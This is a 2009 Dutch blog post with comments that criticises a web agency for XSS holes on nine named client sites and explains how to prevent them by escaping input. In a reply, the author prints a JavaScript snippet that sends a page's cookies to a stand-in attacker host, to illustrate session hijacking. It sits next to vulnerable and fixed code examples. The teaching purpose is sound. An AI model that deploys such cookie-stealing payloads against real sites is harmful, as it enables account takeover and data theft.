In het land der blinden... part 3

Door RobIII op woensdag 5 augustus 2009 19:18 - Reacties (24)
Categorieën: In het land der blinden..., Life as a developer, Rants, Views: 6.336

Ja hoor. We hebben er weer één. Helaas ben ik deze keer wat bekender met het bedrijf in kwestie, maar heb ik, to be honest, gelukkig niets meer met ze te maken. Vandaag heb ik voor u in de aanbieding de dames en heren van WebArchitects, de "inventors of RightClick".

http://tweakers.net/ext/f/4vYm4bvO63ww8sWWVYAye79b/full.jpgIk heb lang, heel lang, getwijfeld of ik hier iets over moest schrijven, maar ik moet het gewoon kwijt. In een niet nader te noemen site die men nog aan 't ontwikkelen is kwam ik de nodige XSS zaken tegen en wat zaken die verdacht veel leken op (mogelijkheid tot) SQL injection. Omdat ik de opdrachtgever wat ellende wou besparen heb ik netjes melding gemaakt van die zaken en die heeft dat op zijn beurt weer bij WebArchitects neergelegd.

De reactie laat zich raden; net als voorgaande bedrijf was de reactie nonchalant en deze keer hadden ze het geluk dat de site nog niet 'live' is. Ze kwamen dus weg met een "oh, dat is al bekend en staat op ons to-do lijstje"-achtige reactie. Grappig, want, zélfs al zit je in de ontwikkelfase, XSS lekken dienen vanaf de eerste regel code die je schrijft voorzien te zijn. Het eerste het beste "form" dat je maakt, de eerste de beste query parameter die je accepteert en ja, zelfs gegevens uit cookies die je (hoogstwaarschijnlijk, maar niet zeker) zélf hebt gezet dien je gewoon te controleren. Waardes dienen ge-"escaped" te worden, waardes dienen naast "geldigheid" ook op "zinnigheid" te worden gecontroleerd en met "een filtertje" kom je er niet zoals eerder aangetoond.

http://tweakers.net/ext/f/N1lufeKJV8PmqxWRUT6IdqZH/full.jpgWanneer begrijpen we het nou eens? Hoe vaak moet ik er nog op hameren? Hoe vaak moeten we nog in 't nieuws horen dat er god-knows hoeveel NAW gegevens, e-mail adressen, of erger: creditcard gegevens op straat liggen wegens een lek in een site. Hoe vaak moeten we nog onze billen branden voordat we het leren? Veiligheid is niet iets wat je, nadat je (bijna) klaar bent met je site, even "inbouwt" of als nieuwe laag ergens "boven op legt". Zelfs al verkeert je site nog in Betafase, sterker, Alpha-stadium, dan nog horen dit soort zaken gewoon niet meer voor te komen. Het hoort, vanaf het moment dat je de code produceert, voorzien te zijn.

Gaan we even kijken in de portfolio en de referenties van onze vrienden dan maken ze het ons wel weer lekker makkelijk om te zien of inderdaad de "oh, dat is bekend en komt allemaal goed"-reactie terecht is (wat je natuurlijk, na vorige alinea gelezen te hebben, al kunt beantwoorden). Maar we nemen toch even de proef op de som:

Kabri.nl > Yes.
Infotec.nl > Raak.
Roymartina.com > Oops.
Kieft.nl > Hé shit.
Ricohshop.nl > Ik zie een patroon.
Srt.nl > You have got to be kiddin' me...
Derijks.nl > Guess what? Bingo again!
Proost.nl > Woei!
Vlaggenwinkel.nl > Tadaa!

9 uit 9. Netjes :Y)

http://tweakers.net/ext/f/c2U7GIy8Wa0eSJEEHf3wboiu/full.jpgJe maakt mij niet wijs dat 't probleem bij ze bekend is. Sterker: zojuist is aangetoond dat het een structureel probleem betreft bij deze webbouwer en puur een gebrek aan kennis. Het is overduidelijk dat de jongens en meisjes bij WebArchitects geen benul hebben van XSS (laat staan de mogelijke gevolgen) en dus gewoon nog in hun sprookjeswereld vertoeven waarin iedereen alleen maar leuke en goede bedoelingen heeft. Nou; wake up and smell the coffee! Dat is niet zo. Zodra je je site online plempt en bezoekers kunnen gaan neuzen op je site sta je gewoon voorovergebogen met je ondergoed op je enkels te wachten. Want er komt iemand op het idee om eens te kijken wat er allemaal te halen valt waar hij/zij eigenlijk niet aan mag komen. En dan moet je dus verdomdes goed weten waar je mee bezig bent voordat je jezelf in zo'n situatie plaatst en moet je verrekes goed zorgen dat je, terwijl je daar zo staat, niets kan overkomen. Sta je niet één keer, maar 9 keer met je broek op de enkels en doe je je best zoveel mogelijk klanten te winnen zodat je ook liefst nog 10, 20 of 150 keer met je broek op de enkels kunt: dan ben je, zacht gezegd, een ei als je daar niet voor zorgt. Het gaat héél lang goed, maar het gaat een keer fout. Het gaat niet over of het fout gaat, het gaat een keer fout. Die garantie geef ik je. De vraag is: wanneer?

Bij een aantal van de bekeken sites in dit voorbeeld is het ook nog eens makkelijk een foutmelding te veroorzaken of zelfs een timeout door bijvoorbeeld Javascript uit te schakelen, max. lengtes van form elementen uit te schakelen en dan bijvoorbeeld 9999999999 items in het winkelwagentje te plaatsen. Een overflow dien je af te handelen, ongeldige (en onzinnige!) data ook. Geef je een max. lengte van 4 tekens, effectief dus maximaal 9999, voor een te bestellen aantal in een HTML formulier op dan zorg je dat je server-side ook niet meer dan 4 tekens toe staat. Never trust (user)input!

http://tweakers.net/ext/f/LGsT1iAHUqlOVaiLTKkjy4Fy/full.jpgIk heb het vaker gezegd: Shit happens. We zijn allemaal mensen. We laten allemaal wel eens een steekje vallen. Ook ik. Daar hoef ik me niet voor te schamen, dat gebeurt de besten. Maar je kunt wél zorgen dat je er alles aan doet om dat zoveel mogelijk te voorkomen. In deze zaak is dat overduidelijk niet het geval; dit is geen "steekje laten vallen" meer. Maar goed, dat was wel duidelijk. Ik vind het werkelijk onverklaarbaar dat in een bedrijf waar toch genoeg 'webdevelopers' zitten, niet één iemand deze kwestie is opgevallen; en mocht dat wel zo zijn, dan vind ik het nog vreemder dat er niets aan gedaan is. Zorg dus dat je op de hoogte bent van zaken als XSS, SQL injection, server-side validatie (en sanitizing van die data) etc. etc. Want voor je het weet loop je met een poepert rond die gebruikt is voor doeleinden waar 'ie niet voor gemaakt is. En als iemand je dan met de neus op de feiten drukt; haal dan die nonchalante grijns van je gezicht en raak in paniek in plaats van dat je doet of je neus bloedt. Dank diegene die het je meldt op je blote knieën en dank diegene dan nogmaals voor 't in tact laten van je kringspier terwijl het uitwonen van je endeldarm vele malen aantrekkelijker was.

En hou je developers zo nu en dan eens een grote dikke grijnzende "Hubba" voor en zorg dat ze er nachtmerries van krijgen. Zo hou je ze scherp.

TwitterNuJIJeKudosFacebookFriendfeedGoogle BookmarksDiggdel.ici.ousTechnoratiSphinnMixxStumpleUponYahoo! BookmarksMaak je eigen RML op RobIII.nl!

Volgende: In het land der blinden... part 4 08-'09 In het land der blinden... part 4
Volgende: C# 'Geheimpjes' 02-'09 C# 'Geheimpjes'

Reacties


Door Tweakers user Soldaatje, woensdag 5 augustus 2009 19:38

Hmm, aarsverwijzingen lijden teveel af...
Verder wel mooi verhaaltje.

Door Tweakers user Convo, woensdag 5 augustus 2009 19:51

Als je bovenstaande sites bezoekt krijg je een messabox die "Boe" zegt, en doorverwijst naar deze pagina. Jouw werk ?

Door Tweakers user Colan, woensdag 5 augustus 2009 19:53

hmm, die klanten van hun zitten hier tegenover mij, ik kan de namen Infotec en Ricoh op de vlaggen zien wapperen :p

goed verhaal, jammer dat ze het zo slecht oppakken...en zelfs al ben ik geen dev, zelfs ik zie in dat ze aan het prutsen zijn bij dat bureau

Door Tweakers user siepeltjuh, woensdag 5 augustus 2009 19:53

Ongelooflijk zeg. Wat een blunder 9 van de 9.

Ben benieuwd of dit ook opgepikt wordt door echte media en of er een reactie komt vanuit het bedrijf zelf.

Zeer waarschijnlijk niet, althans niemand verwacht dat ze hier uitleg gaan geven.

Door Tweakers user RobIII, woensdag 5 augustus 2009 20:14

Als je bovenstaande sites bezoekt krijg je een messabox die "Boe" zegt, en doorverwijst naar deze pagina. Jouw werk ?
Die "Boe" en doorverwijzing zijn enkel om de XSS mogelijkheid aan te tonen. In een ernstiger geval stuur je iemands cookies/sessie-id naar "hacker.com" waarna de ontvangende kant doodleuk beschikking heeft over die gegevens en (mogelijk) toegang krijgt tot zaken waar hij/zij niets te zoeken heeft. Een andere, wellicht duidelijkere, demonstratie is deze of deze. Vooral bij die laatste (waar nu Google.com gebruikt wordt) zou een kwaadwillende een pagina kunnen maken die zoekresultaten toont die er voor de bezoeker prima uit zien als valide zoekresultaten en ondertussen kan die kwaadwillende dus de bezoeker die alle vertrouwen heeft in de site die hij/zij bezoekt doorsturen naar Joost-mag-het weten of zelfs malware installeren etc.

[Reactie gewijzigd op woensdag 5 augustus 2009 23:49]


Door Tweakers user Dooievriend, woensdag 5 augustus 2009 20:55

Lol, RobIII = de Robin Hood van het internet :D

Door Tweakers user RobIII, woensdag 5 augustus 2009 21:14

Laten we zeggen dat ik er bar slecht tegen kan als er behoorlijke bedragen worden neergeteld voor broddelwerk ;) Een bedrijf als dit, en alle bedrijven in deze branche for that matter, hoort een klant te beschermen voor dit soort zaken. Again: shit happens, iedereen laat wel eens een steek vallen en soms worden bepaalde types exploits pas bekend na jaren zonder dat iemand iets dergelijks voorzien had. In het geval van XSS, SQL injection, server-side validatie etc. is het gewoon basiskennis uit het jaar 15 voor Christus die iedereen die zich webdeveloper (of afgeleide chique namen ervoor) durft te noemen hoort te hebben, zéker anno 2009. Als dit soort sites door een zolderkamertjesfiguur gebouwd zouden worden zul je mij niet zo snel horen, maar die pakken meldingen van deze aard meestal ook goed op. Als er een heel team en bedrijf achter zit waarbij de bedragen zeker niet misselijk zijn vind ik het ronduit grof schandalig dat zulke simpele zaken niet eens ondervangen zijn. Makes you wonder wat er nog meer mankeert.

[Reactie gewijzigd op woensdag 5 augustus 2009 21:58]


Door Tweakers user Seroo, donderdag 6 augustus 2009 11:34

Nice job, Schrik _/-\o_

[Reactie gewijzigd op donderdag 6 augustus 2009 11:34]


Door Tweakers user mzziol, donderdag 6 augustus 2009 12:27

Verschrikkelijk herkenbaar dit! Ik ken het helemaal.

Als ik jou was zou ik alle bedrijven die websites van hen hebben een mailtje sturen met tekst en uitleg en waarom ze deze webdevelopers moeten dumpen.

Helaas lopen er heel veel eikels rond en zoals je al zegt: In het land der blinden, is éénoog koning. En zo is het helaas.. zie je ook heel veel bij computerwinkels.

Door Tweakers user Wes, donderdag 6 augustus 2009 14:16

Wat een heerlijk blog waar je prutsers en idioten (mijn woorden) eens over de knie legt. _O_ Ik kan me zelf ook enorm ergeren aan dingen, prachtig om te lezen dat een ander dat ook heeft en hoe dat op een mooie manier neergelegd kan worden. ;)

Door Tweakers user _Apache_, donderdag 6 augustus 2009 15:58

Ze zijn wel consistent, is ook wat waard. :+

Door Janssen, donderdag 6 augustus 2009 21:51

Rustig, rustig zoon...... Dit kost je wéér een doosje Rennies 8)7

Door Tweakers user RobIII, donderdag 6 augustus 2009 23:42

:D Er is een nieuw pallet onderweg :+

Door Tweakers user Creepy, vrijdag 7 augustus 2009 00:07

Dat ze dit fout doen is al maar maar dat ze doen alsof hun neus bloed vind ik nog en stukje erger. Fix de boel en wel direct. Als je dit soort zaken live zet voor je klanten dan heb je het nog niet helemaal begrepen.

Gewoon weer het volgende "enterprise" product dat te snel is gebouwd om zoveel mogelijk features te hebben en te kunnen verkopen. Dat vervolgens de sites zo lek als een mandje zijn lijkt voor een hoop mensen niet uit te maken. Hoog tijd voor een lesje "volwassen worden" voor het gehele dev Team ;)

[Reactie gewijzigd op vrijdag 7 augustus 2009 00:08]


Door Tweakers user Icyzer, vrijdag 7 augustus 2009 17:34

Knap dat je dat allemaal zo even vind, en uiteraard on verantwoord van dat bedrijf

Door Tweakers user Alex, zaterdag 8 augustus 2009 00:25

Ik kan me nog herrineren dat ik bij een bedrijf werkte en dat wij een exploit vonden in onze id-handling via een querystring. Eerst wat die dag gedaan werd was een mogelijk kwetsbare sites lijstje maken. Fix bakken en als de bliksem patchen.
Je kunt dit namelijk niet uitleggen.

Door Tweakers user Creepy, maandag 10 augustus 2009 19:27

De directe URL's die hier in de blogpost staan werken niet meer allemaal. Dus er is enige vorm van actie ondernomen. Echter de bug zelf is nog niet gefixt, dus de XSS attacks zelf zijn helemaal niet gefixt. Dat vind ik eigenlijk erg vreemd, fix het dan gelijk goed.

Door Advocaat van de duivel, maandag 10 augustus 2009 22:05

Je hebt wel een erg lang verhaal nodig om uit te leggen dat je jezelf aan het schrikken kan maken met een 'boe' melding. :O

Je praat over SQL injections maar laat alleen maar wat script hacks zien, weinig schokkend. Pas als je daadwerkelijk iets aan de database hebt veranderd is het een post waard in mijn ogen, nu zie je alleen maar water branden...

Zoals je misschien in de url's heabt gezien draaien deze sites op ColdFusion. ColdFusion handelt een hoop van het beginners werk zoals je net beschreven hebt af dus ik geloof niet dat je ver komt, maar dat ga je vast in deel 4 van je kruistocht doen.

En misschien moet je een keer gastspreker worden bij Kings Of Code of iets dergelijk als je echt niet begrijpt waarom de hele wereld je blog niet leest en toepast...

Door Tweakers user RobIII, maandag 10 augustus 2009 23:28

Je hebt wel een erg lang verhaal nodig om uit te leggen dat je jezelf aan het schrikken kan maken met een 'boe' melding. :O
Dan lees je lekker een andere site/blog ;)
Je praat over SQL injections maar laat alleen maar wat script hacks zien, weinig schokkend. Pas als je daadwerkelijk iets aan de database hebt veranderd is het een post waard in mijn ogen, nu zie je alleen maar water branden...
Je hebt duidelijk geen benul welke gevolgen een XSS lek kan hebben. Daarbij heb ik het over "zaken die verdacht veel leken op (mogelijkheid tot) SQL injection". Er is een verschil. Op het moment dat ik "daadwerkelijk iets aan de database heb veranderd" ben ik bezig de zaak (blijvend) te vernielen; dat was mijn doel niet.
Zoals je misschien in de url's heabt gezien draaien deze sites op ColdFusion. ColdFusion handelt een hoop van het beginners werk zoals je net beschreven hebt af
Vooral blind vertrouwen hebben in een sprookje dat 't platform alles wel voor je afhandelt _O_ Maak je vooral niet druk om lekken en verdiep je vooral niet in het onderliggende probleem of het idee erachter. Dat blijkt te werken :)
En misschien moet je een keer gastspreker worden bij Kings Of Code of iets dergelijk
Op Kings Of Code zou je gaap-smiley terecht zijn geweest; daar zou ik niets nieuws verkondigen en zou ik (terecht) uitgelachen worden te lopen prediken wat iedereen al weet. En toch is de praktijk, zoals je hebt gezien, anders en weet dus toch niet iedereen dat er iets als XSS bestaat ;)
als je echt niet begrijpt waarom de hele wereld je blog niet leest en toepast...
En dat zie je mij verkondigen...waar?
offtopic:
Wel tof dat je de enige (na ja, op pa na :P ) anonieme reageerder bent d:)b

[Reactie gewijzigd op maandag 10 augustus 2009 23:33]


Door Tweakers user soulrider, woensdag 12 augustus 2009 01:44

sinds vandaag geven je voorbeeldien volgende error:
The following information is meant for the website developer for debugging purposes.

Error Occurred While Processing Request
Hacking attempt, your IP address has been logged.
niet enkel weten ze niet hoe ze een xss moeten voorkomen of correct afhandelen.
ze kennen het verschil ook niet tussen hacking, exploiting, code injecting, scripting, ...

(en steken ze de fout naar de bezoeker wegens 'hack poging' terwijl ze zelf zo dom waren de fout te laten zoals ze was, niet te luisteren toen ze hulp werd aangeboden, en nu dat ze redelijk wat trafiek vanuit deze blog krijgen gaan ze het zo spelen ...)

al wel een bedrijf die niet snel (als in 'nooit' ) enig webdesign voor mij of iemand die ik ken, moet doen.

ps: script en iframe zorgen bij 8 van de 9 voor 'je bent hacker en je ip is gelogd'-warning, maar andere html-code 'opzoeken' lukt nog wel de meesten....
dus nog steeds niets geleerd...
(ach ja, mijn ip-adres staat er ondertussen wel een paar keer in de logfile :) :s

[Reactie gewijzigd op woensdag 12 augustus 2009 06:05]


Door Tweakers user RobIII, woensdag 12 augustus 2009 15:05

Ik ben eens benieuwd of ze ook hebben gedacht aan, zeg, <frame>, <frameset>, <object>, <embed>, <applet> en verzin er nog maar een paar :P

Door Tweakers user HyperBart, woensdag 12 augustus 2009 20:00

Ik begrijp het concept van dat XSS eigenlijk niet allemaal, ik ben ook absoluut geen webdeveloper oid, maar ik vind het wel interessant. Wikipedia leert me ook niet veel, maar als je een concreet voorbeeldje eens in mekaar wilt boksen of het eens wilt laten zien, dan zou ik dat wel tof vinden.

Ik zie nu inderdaad wel jouw "boe-meldingen", en dat vind ik wel raar dat dat kan, maar ik begrijp niet hoe iemand anders dan van gegevens tijdens mijn sessie dan (ja toch ?) gebruik kan maken...

Door Tweakers user HyperBart, woensdag 12 augustus 2009 20:02

En verder vind ik die reactie van dat bedrijf na jouw keurige en nette meldingen behoorlijk zwak, ongefundeerd en vijgen na pasen-achtig.

Aan de andere kant, als ze nu bv wel het probleem (escapen van bv sql-statements snap ik wel, dus ik weet wat je met escapen bedoelt) met dat escapen hadden opgelost en ze vriendelijk en zonder dreigen jou gevraagd hadden om de blogpost te verwijderen, dan had ik het wel gedaan (maar dat hebben ze nu niet gedaan en je staat recht in je schoenen dus: boeien ! )

Door Tweakers user RobIII, woensdag 12 augustus 2009 21:50

De links "ellende" en "besparen" in de tweede alinea bevatten beide een filmpje waarin het relatief simpel wordt uitgelegd. Heel kort (en simpel) voorbeeld:

Met XSS kun je code "injecteren" in een site; en omdat dan de Same Origin Policy niet geschonden wordt wordt de code door de browser doodleuk uitgevoerd. De Same Origin Policy houdt in dat code van andere domeinen geen (of erg beperkte) zaken kan uitrichten op een bepaalde site. Omdat de code nu echter op de site zelf verschijnt (en dus feitelijk onderdeel is van die site/pagina) heeft de code toegang tot alle gegevens in bijvoorbeeld cookies. Diezelfde code kan de inhoud van zo'n cookie naar een andere site sturen en daarmee dus bijvoorbeeld sessie id's "lekken" waarmee een aanvaller weer een sessie kan overnemen door z'n eigen cookie te voorzien van het 'geleende' ID en zo bij zaken kan komen waar hij/zij niets te zoeken heeft omdat de site de aanvaller aanziet voor de oorspronkelijke eigenaar van het sessie ID. Tref je een gebruiker met een leuke rechtenset dan ben je binnen als aanvaller.

Ik zie je wel eens op 't forum posten dus ik neem aan dat je er mee bekend bent :P Nou stel je voor dat ik (los van mijn HTML rechten als mod :P ) als aanvaller code geïnjecteerd krijg als deze:
JavaScript:
1
2
3
<script type="text/javascript">
    document.location.href = 'http://www.hacker.com/savecookie.php?value=' + encodeURIComponent(document.cookie);
</script>


Leesbaar/simpel gehouden voor demonstratiedoeleinden.
Daarmee wordt een 'redirect' uitgevoerd en de inhoud van de cookie van betreffende site naar de hacker's site gestuurd. Daarin zal ook je TnetID in zitten; je Sessie-ID aan de hand waarvan je geïdentificeerd wordt als HyperBart dus. Los van wat beveiligingen als sessie-id's koppelen aan IP (jeej T.net d:)b ) kan ik dus HyperBart uit gaan hangen. Nu is dat al niet leuk (ik kan in je DM's etc.) maar stel je nu eens voor dat je een Sessie-ID van RobIII weet te jatten? :D Dan kun je ook nog eens de mod gaan uithangen :) (En hoewel dat inderdaad 'erger' is, is het überhaupt al schandalig als iemand HyperBart zou kunnen gaan uithangen; wezenlijk is er natuurlijk geen verschil). Nu zul je in het voorbeeld nog je browser zien 'verspringen' naar hacker.com maar het is natuurlijk simpel te verbergen door op een andere manier die gegevens door te spelen.

Maar er kan veel meer uitgehaald worden; zo kan er ook een code geïnjecteerd worden welke de bezoeker "ongemerkt" verwijst van brakkesite.com naar brakesite.com (let op 1 letter verschil). Als de aanvaller er voor zorgt dat er op dat domein een "lookalike"-site staat profiteert de aanvaller dus van het vertrouwen dat de bezoeker zal hebben in de oorspronkelijke site. De bezoeker zal niet snel merken (mits goed uitgevoerd natuurlijk) dat hij/zij op een kwaadaardige site aan 't surfen is en kan zo, bijvoorbeeld, een bestelling plaatsen, denkende dat de site wel OK is maar ondertussen zijn/haar creditcardgegevens dus bij de aanvaller achterlaten. De bestelde goederen zullen natuurlijk nooit geleverd worden en God-knows-what er met de creditcardgegevens gedaan wordt.

Het hele probleem van XSS ontstaat door niet correct te escapen; dus het domweg blind 1:1 overnemen van input en opnemen in de output zonder rekening er mee te houden dat er wel eens kwaadaardige zaken in zouden kunnen zitten. Een simpele HTMLEntities / HTMLSpecialChars / HTMLEncode / HTMLEditFormat / <pick_one_voor_je_taal> voorkomt zoiets al. In het volgende voorbeeld ben je vatbaar voor XSS:
code:
1
2
3
4
5
6
7
<%
$zoekstring = $_Get("someparam")
%>

<div class="searchresults">
  U zocht op $zoekstring
</div>


Als $zoekstring (even aangenomen dat de inhoud van $zoekstring niet al escaped is) HTML code bevat kan het dus zijn dat zoiets ontstaat na het uitvoeren van het script:
HTML:
1
2
3
<div class="searchresults">
  U zocht op <script>...enge dingen hier...</script>
</div>


Escape je wel netjes zoals het hoort dan krijg je:

code:
1
2
3
4
5
6
7
<%
$zoekstring = $_Get("someparam")
%>

<div class="searchresults">
  U zocht op $EscapeFunctie($zoekstring)
</div>

Uitvoer:
HTML:
1
2
3
<div class="searchresults">
  U zocht op &lt;script&gt;...enge dingen hier...&lt;/script&gt;
</div>


...en dan wordt er gewoon netjes "U zocht op <script>...enge dingen hier...</script>" weergegeven i.p.v. dat het script daadwerkelijk wordt uitgevoerd. Zo doet Google het bijvoorbeeld dus goed (d'uh :+ ): Hier zie je dat de textbox en de "results x from y for ...." netjes de zoekstring bevatten zoals ingegeven. Er hoeven dus geen "enge tekens gefilterd" te worden, noch "Hackpoging!!!"- meldingen gedaan te worden; als je correct escaped is "<script>blabla</script>" net zo'n onschadelijke zoekstring als "test".

In een gemiddeld gastenboekscriptje geschreven door een beginner kun je XSS mogelijkheden nog wel verwachten; in een commerciële site gemaakt door een zichzelf respecterend bedrijf niet.

[Reactie gewijzigd op woensdag 12 augustus 2009 22:40]


Reageren is niet meer mogelijk